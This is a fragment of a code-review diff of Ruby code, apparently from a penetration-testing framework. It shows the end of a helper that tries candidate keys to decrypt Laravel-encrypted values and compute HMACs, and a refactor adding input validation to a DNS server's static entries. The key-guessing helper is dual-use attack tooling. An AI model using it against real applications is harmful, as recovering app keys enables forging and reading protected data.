decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8')
|
||||
if decrypted_value
|
||||
return { 'key' => key, 'value' => decrypted_value }
|
||||
end
|
||||
rescue StandardError
|
||||
next
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Generate HMAC with SHA256
|
||||
# @param [String] <value> The value that will be encrypted
|
||||
# @param [String] <iv> Random 16-byte IV parameter
|
||||
# @param [String] <key> The key
|
||||
#
|
||||
# @return [String] The hmac digest.
|
||||
def generate_mac(key, iv, value)
|
||||
return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}")
|
||||
end
|
||||
end
|
||||
@@ -52,11 +52,17 @@ module Server
|
||||
data = entries.split(';')
|
||||
end
|
||||
data.each do |entry|
|
||||
next if entry.gsub(/\s/,'').empty?
|
||||
addr, names = entry.split(' ', 2)
|
||||
next if entry.gsub(/\s/, '').empty?
|
||||
|
||||
address, names = entry.split(' ', 2)
|
||||
names.split.each do |name|
|
||||
name << '.' unless name[-1] == '.' or name == '*'
|
||||
service.cache.add_static(name, addr, type)
|
||||
name << '.' unless name.end_with?('.') || name == '*'
|
||||
|
||||
unless Rex::Socket.is_ip_addr?(address.to_s) && (name.to_s.match(MATCH_HOSTNAME) || name == '*')
|
||||
raise "Invalid parameters for static entry - #{name}, #{address}, #{type}"
|
||||
end
|
||||
|
||||
service.cache.cache_record(Dnsruby::RR.create(name: name, type: type, address: address), expire: false)
|
||||
end
|
||||
end
|
||||
service.cache.records.select {|r,e| e == 0}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user